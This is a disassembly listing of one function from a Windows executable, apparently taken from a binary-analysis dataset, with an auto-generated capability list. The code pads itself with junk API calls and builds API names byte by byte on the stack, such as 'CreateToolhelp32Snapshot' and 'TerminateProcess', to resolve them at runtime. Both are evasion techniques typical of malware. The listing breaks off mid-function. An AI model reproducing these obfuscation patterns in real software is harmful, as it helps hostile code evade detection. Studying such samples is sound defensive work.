Function at 0x411b3a
Capabilities:
Allocate thread local storage
Clear file content
Create directory
Delete directory
Delete file
Get common file path
Get hostname
Link many functions at runtime
Rebuild import table
Resolve function by parsing pe exports
Resume thread
Set console window title
Set current directory
Set environment variable
Set file attributes
Suspend thread
Write file on windows

Disassembly:
sub esp, 0x134
xor eax, eax
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x10]
test ecx, ecx
mov dword [edi], 0x43f118
jne 0x412598
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x10]
mov ebx, 0x4db
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411bb4
call esi
test eax, eax
je 0x411b9c
cmp byte [esp + 0x15], 0x3a
jne 0x411b9c
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411bcd
call esi
test eax, eax
je 0x411bcd
cmp byte [esp + 0x15], 0x3a
jne 0x411bcd
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411c15
call esi
test eax, eax
je 0x411bfd
cmp byte [esp + 0x15], 0x3a
jne 0x411bfd
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411c2e
call esi
test eax, eax
je 0x411c2e
cmp byte [esp + 0x15], 0x3a
jne 0x411c2e
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411c79
call esi
test eax, eax
je 0x411c61
cmp byte [esp + 0x15], 0x3a
jne 0x411c61
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411c92
call esi
test eax, eax
je 0x411c92
cmp byte [esp + 0x15], 0x3a
jne 0x411c92
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411cdd
call esi
test eax, eax
je 0x411cc5
cmp byte [esp + 0x15], 0x3a
jne 0x411cc5
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411cf6
call esi
test eax, eax
je 0x411cf6
cmp byte [esp + 0x15], 0x3a
jne 0x411cf6
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411d40
call esi
test eax, eax
je 0x411d28
cmp byte [esp + 0x15], 0x3a
jne 0x411d28
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411d59
call esi
test eax, eax
je 0x411d59
cmp byte [esp + 0x15], 0x3a
jne 0x411d59
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411da1
call esi
test eax, eax
je 0x411d89
cmp byte [esp + 0x15], 0x3a
jne 0x411d89
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411dba
call esi
test eax, eax
je 0x411dba
cmp byte [esp + 0x15], 0x3a
jne 0x411dba
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411e07
call esi
test eax, eax
je 0x411def
cmp byte [esp + 0x15], 0x3a
jne 0x411def
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411e20
call esi
test eax, eax
je 0x411e20
cmp byte [esp + 0x15], 0x3a
jne 0x411e20
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411e68
call esi
test eax, eax
je 0x411e50
cmp byte [esp + 0x15], 0x3a
jne 0x411e50
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411e81
call esi
test eax, eax
je 0x411e81
cmp byte [esp + 0x15], 0x3a
jne 0x411e81
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411ec9
call esi
test eax, eax
je 0x411eb1
cmp byte [esp + 0x15], 0x3a
jne 0x411eb1
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411ee2
call esi
test eax, eax
je 0x411ee2
cmp byte [esp + 0x15], 0x3a
jne 0x411ee2
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0
call dword [edi + 0xb8]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411f2c
call esi
test eax, eax
je 0x411f14
cmp byte [esp + 0x15], 0x3a
jne 0x411f14
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411f45
call esi
test eax, eax
je 0x411f45
cmp byte [esp + 0x15], 0x3a
jne 0x411f45
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411f8d
call esi
test eax, eax
je 0x411f75
cmp byte [esp + 0x15], 0x3a
jne 0x411f75
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x411fa6
call esi
test eax, eax
je 0x411fa6
cmp byte [esp + 0x15], 0x3a
jne 0x411fa6
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x411fee
call esi
test eax, eax
je 0x411fd6
cmp byte [esp + 0x15], 0x3a
jne 0x411fd6
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x412007
call esi
test eax, eax
je 0x412007
cmp byte [esp + 0x15], 0x3a
jne 0x412007
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [edi + 0x4c]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412051
call esi
test eax, eax
je 0x412039
cmp byte [esp + 0x15], 0x3a
jne 0x412039
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41206a
call esi
test eax, eax
je 0x41206a
cmp byte [esp + 0x15], 0x3a
jne 0x41206a
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4120b4
call esi
test eax, eax
je 0x41209c
cmp byte [esp + 0x15], 0x3a
jne 0x41209c
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4120cd
call esi
test eax, eax
je 0x4120cd
cmp byte [esp + 0x15], 0x3a
jne 0x4120cd
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [edi + 0xb0]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412119
call esi
test eax, eax
je 0x412101
cmp byte [esp + 0x15], 0x3a
jne 0x412101
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x412132
call esi
test eax, eax
je 0x412132
cmp byte [esp + 0x15], 0x3a
jne 0x412132
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x41217c
call esi
test eax, eax
je 0x412164
cmp byte [esp + 0x15], 0x3a
jne 0x412164
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x412195
call esi
test eax, eax
je 0x412195
cmp byte [esp + 0x15], 0x3a
jne 0x412195
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [edi + 0x1ac]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4121e0
call esi
test eax, eax
je 0x4121c8
cmp byte [esp + 0x15], 0x3a
jne 0x4121c8
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4121f9
call esi
test eax, eax
je 0x4121f9
cmp byte [esp + 0x15], 0x3a
jne 0x4121f9
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412241
call esi
test eax, eax
je 0x412229
cmp byte [esp + 0x15], 0x3a
jne 0x412229
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41225a
call esi
test eax, eax
je 0x41225a
cmp byte [esp + 0x15], 0x3a
jne 0x41225a
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [edi + 0x3c]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x41229f
call esi
test eax, eax
je 0x412287
cmp byte [esp + 0x15], 0x3a
jne 0x412287
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4122b8
call esi
test eax, eax
je 0x4122b8
cmp byte [esp + 0x15], 0x3a
jne 0x4122b8
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412300
call esi
test eax, eax
je 0x4122e8
cmp byte [esp + 0x15], 0x3a
jne 0x4122e8
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x412319
call esi
test eax, eax
je 0x412319
cmp byte [esp + 0x15], 0x3a
jne 0x412319
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412363
call esi
test eax, eax
je 0x41234b
cmp byte [esp + 0x15], 0x3a
jne 0x41234b
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41237c
call esi
test eax, eax
je 0x41237c
cmp byte [esp + 0x15], 0x3a
jne 0x41237c
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4123c4
call esi
test eax, eax
je 0x4123ac
cmp byte [esp + 0x15], 0x3a
jne 0x4123ac
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x4123dd
call esi
test eax, eax
je 0x4123dd
cmp byte [esp + 0x15], 0x3a
jne 0x4123dd
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
call dword [edi + 0x48]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412422
call esi
test eax, eax
je 0x41240a
cmp byte [esp + 0x15], 0x3a
jne 0x41240a
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41243b
call esi
test eax, eax
je 0x41243b
cmp byte [esp + 0x15], 0x3a
jne 0x41243b
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x412485
call esi
test eax, eax
je 0x41246d
cmp byte [esp + 0x15], 0x3a
jne 0x41246d
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x41249e
call esi
test eax, eax
je 0x41249e
cmp byte [esp + 0x15], 0x3a
jne 0x41249e
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x4124e9
call esi
test eax, eax
je 0x4124d1
cmp byte [esp + 0x15], 0x3a
jne 0x4124d1
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x412502
call esi
test eax, eax
je 0x412502
cmp byte [esp + 0x15], 0x3a
jne 0x412502
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
push eax
push eax
push eax
call dword [edi + 0x30]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
push 0
call dword [edi + 0x60]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea eax, [esp + 0x10]
cmp eax, ebx
lea eax, [esp + 0x14]
push eax
push 3
jne 0x41257f
call esi
test eax, eax
je 0x412567
cmp byte [esp + 0x15], 0x3a
jne 0x412567
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
and byte [esp + 0x12], 0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], 0x42
mov byte [esp + 0x15], 0x3a
call ebp
jmp 0x412598
call esi
test eax, eax
je 0x412598
cmp byte [esp + 0x15], 0x3a
jne 0x412598
movzx eax, byte [esp + 0x14]
push eax
call sub.MSVCRT.dll_toupper
pop ecx
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x4c
push 0x45
push 0x4e
push 0x52
push 0x45
lea eax, [esp + 0x110]
push 0x4b
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x74
pop ebx
mov dword [esp + 0x14], eax
push ebx
push 0x78
push 0x65
lea eax, [esp + 0x28]
pop ebp
push ebp
push 0x4e
push 0x32
push 0x33
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push eax
call fcn.004105f6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x73
push 0x72
push 0x69
push 0x46
push 0x32
push 0x33
push 0x73
push 0x73
push ebp
push 0x63
mov dword [edi + 4], eax
push 0x6f
push 0x72
lea eax, [esp + 0x50]
push 0x50
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6f
push 0x68
push 0x73
push 0x70
push 0x61
mov dword [edi + 8], eax
push 0x6e
push 0x53
push 0x32
push 0x33
push 0x70
push 0x6c
push ebp
push 0x68
push 0x6c
push 0x6f
push 0x6f
push 0x54
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x78]
push 0x43
push eax
call fcn.004105f6
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebp
push ebx
push 0x61
push 0x6e
push 0x69
push 0x6d
mov dword [edi + 0xc], eax
push 0x72
push ebp
lea eax, [esp + 0x58]
push 0x54
push eax
call fcn.004105f6
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebp
push ebx
push 0x61
mov dword [edi + 0x10], eax
push ebp
push 0x72
lea eax, [esp + 0x50]
push 0x43
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
mov dword [edi + 0x14], eax
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x6e
push ebp
push 0x70
lea eax, [esp + 0x44]
push 0x4f
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebp
push 0x64
push 0x6f
push 0x43
push ebx
push 0x69
push 0x78
push 0x45
mov dword [edi + 0x18], eax
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x47
push eax
call fcn.004105f6
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push ebx
push 0x6e
push ebp
push 0x72
push 0x72
push 0x75
push 0x43
mov dword [edi + 0x1c], eax
push ebx
push ebp
lea eax, [esp + 0x5c]
push 0x47
push eax
call fcn.004105f6
add esp, 0x4c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x49
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
mov dword [edi + 0x20], eax
push 0x50
push ebx
push 0x6e
push ebp
push 0x72
push 0x72
push 0x75
push 0x43
push ebx
push ebp
lea eax, [esp + 0x64]
push 0x47
push eax
call fcn.004105f6
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x70
push 0x69
push 0x50
push ebp
push ebx
push 0x61
mov dword [edi + 0x24], eax
push ebp
push 0x72
lea eax, [esp + 0x40]
push 0x43
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x64
push 0x6e
push 0x61
push 0x48
push ebp
push ebx
push 0x61
push 0x63
push 0x69
push 0x6c
mov dword [edi + 0x28], eax
push 0x70
push 0x75
lea eax, [esp + 0x54]
push 0x44
push eax
call fcn.004105f6
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push 0x6e
mov dword [edi + 0x2c], eax
push ebp
push 0x70
lea eax, [esp + 0x40]
push 0x4f
push eax
call fcn.004105f6
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebp
push ebx
push 0x61
mov dword [edi + 0x30], eax
push ebp
push 0x72
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x7a
push 0x69
push 0x53
push ebp
push 0x6c
push 0x69
push 0x46
mov dword [edi + 0x34], eax
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x47
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push ebp
mov dword [edi + 0x38], eax
push ebp
push 0x6c
lea eax, [esp + 0x2c]
push 0x53
push eax
call fcn.004105f6
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push ebx
push ebp
mov dword [edi + 0x3c], eax
push 0x6c
push ebp
lea eax, [esp + 0x44]
push 0x44
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x64
push 0x6e
push 0x61
push 0x48
push ebp
push 0x73
mov dword [edi + 0x40], eax
push 0x6f
push 0x6c
lea eax, [esp + 0x44]
push 0x43
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
mov dword [edi + 0x44], eax
push ebx
push ebp
lea eax, [esp + 0x38]
push 0x53
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push 0x64
mov dword [edi + 0x48], eax
push 0x61
push ebp
lea eax, [esp + 0x38]
push 0x52
push eax
call fcn.004105f6
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push ebx
push 0x61
mov dword [edi + 0x4c], eax
push ebp
push 0x72
lea eax, [esp + 0x44]
push 0x43
push eax
call fcn.004105f6
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
mov dword [edi + 0x50], eax
push 0x41
push 0x68
push ebx
push 0x61
push 0x50
push 0x70
push 0x6d
push ebp
push 0x54
push ebx
push ebp
lea eax, [esp + 0x48]
push 0x47
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x79
push 0x72
push 0x6f
push ebx
push 0x63
push ebp
push 0x72
push 0x69
push 0x44
push 0x6d
push ebp
push ebx
push 0x73
push 0x79
push 0x53
mov dword [edi + 0x54], eax
push ebx
push ebp
lea eax, [esp + 0x64]
push 0x47
push eax
call fcn.004105f6
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x79
push 0x72
push 0x6f
push ebx
push 0x63
push ebp
push 0x72
push 0x69
push 0x44
push 0x73
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x58], eax
push ebx
push ebp
lea eax, [esp + 0x68]
push 0x47
push eax
call fcn.004105f6
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
mov dword [edi + 0x5c], eax
push ebp
push 0x73
push 0x6f
push 0x6c
push 0x43
push 0x64
push 0x6e
push 0x69
lea eax, [esp + 0x3c]
push 0x46
push eax
call fcn.004105f6
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebx
push 0x73
push 0x72
push 0x69
push 0x46
push 0x64
mov dword [edi + 0x60], eax
push 0x6e
push 0x69
lea eax, [esp + 0x50]
push 0x46
push eax
call fcn.004105f6
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push ebp
push ebx
push 0x61
mov dword [edi + 0x64], eax
push ebp
push 0x72
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105f6
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebp
push ebx
push 0x61
push 0x6e
push 0x69
push 0x6d
mov dword [edi + 0x68], eax
push 0x72
push ebp
lea eax, [esp + 0x54]
push 0x54
push eax
call fcn.004105f6
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
